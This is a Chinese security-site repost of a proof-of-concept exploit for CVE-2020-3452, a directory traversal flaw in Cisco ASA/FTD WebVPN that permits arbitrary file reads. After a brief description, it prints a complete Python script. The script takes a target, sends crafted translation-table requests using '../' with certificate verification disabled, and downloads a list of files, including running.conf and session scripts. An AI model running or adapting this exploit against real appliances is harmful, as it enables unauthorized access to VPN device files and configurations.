CVE-2020-3452 POC 远程任意文件读取

admin 2022年4月6日10:28:11评论375 views字数 2278阅读7分35秒阅读模式

        

       CVE-2020-3452 CISCO ASA远程任意文件读取 poc


        该漏洞是由于受影响的设备处理的HTTP请求中的URL缺乏正确的输入验证所致。攻击者可以通过将包含目录遍历字符序列的特制HTTP请求发送到受影响的设备来利用此漏洞。成功的利用可能使攻击者可以在目标设备上查看Web服务文件系统内的任意文件。

当受影响的设备配置了WebVPN或AnyConnect功能时,将启用Web服务文件系统。此漏洞不能用于获取对ASA或FTD系统文件或基础操作系统(OS)文件的访问。

import requests
# Written by freakyclown for @CygentaHQ# Cisco ASA Path Traversal# CVE-2020-3452# Usage: CVE-2020-3452.py {target}"# Example: CVE-2020-3452.py 192.168.0.12"# Requires - Requests - pip3 install requests## This tool takes advantage of the above cve and attempts to# download files as listed below, it is suggested that you make# a working folder for the outputfiles to avoid confusion if# attacking mutliple ASA's
# set your targettarget = input("Enter target IP/Url: ")

def grabstuff(): for file in files: print("trying: ", file)
#set request parameters params = ( ('type', 'mst'), ('textdomain', '+CSCOE+/'+file), ('default-language', ''), ('lang', '../'), )
# set the response to the result of the request, inputting in target and params and ignoring ssl cert problems response = requests.get('https://'+target+'/+CSCOT+/translation-table', params=params, verify=False) # write the file to the disk f = open(file,"w") f.write(response.text) f.close()


# this is a list of files available to download, more will be added in time# if anyone has a list of ASA files, I'd be happy to add herefiles = {"sess_update.html","blank.html","noportal.html","portal_ce.html","portal.html","logon_custom.css","svc.html","logo.gif","portal_inc.lua","nostcaccess.html","session.js","portal.js","portal_custom.css","running.conf","tlbrportal_forms.js","logon_forms.js","win.js","portal.css","lced.html","pluginlib.js","useralert.html","ping.html","app_index.html","shshimdo_url","session_password.html","relayjar.html","relayocx.html","color_picker.js","color_picker.html","cedhelp.html","cedmain.html","cedlogon.html","cedportal.html","portal_elements.html","commonspawn.js","common.js","appstart.js","relaymonjar.html","relaymonocx.html","cedsave.html","tunnel_linux.jnlp","ask.html","no_svc.html","preview.html","cedf.html","ced.html","logon_redirect.html","logout.html","tunnel_mac.jnlp","gp-gip.html","auth.html","wrong_url.html","logon.html"}

# obvious thing is obvious, try the things and barf if failtry: grabstuff()except Exception as err: print("Something went wrong sorry") print(err)


https://github.com/cygenta/CVE-2020-3452/blob/main/CVE-2020-3452.py



本文始发于微信公众号(Khan安全攻防实验室):CVE-2020-3452 POC 远程任意文件读取

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月6日10:28:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-3452 POC 远程任意文件读取https://cn-sec.com/archives/535240.html

发表评论

匿名网友 填写信息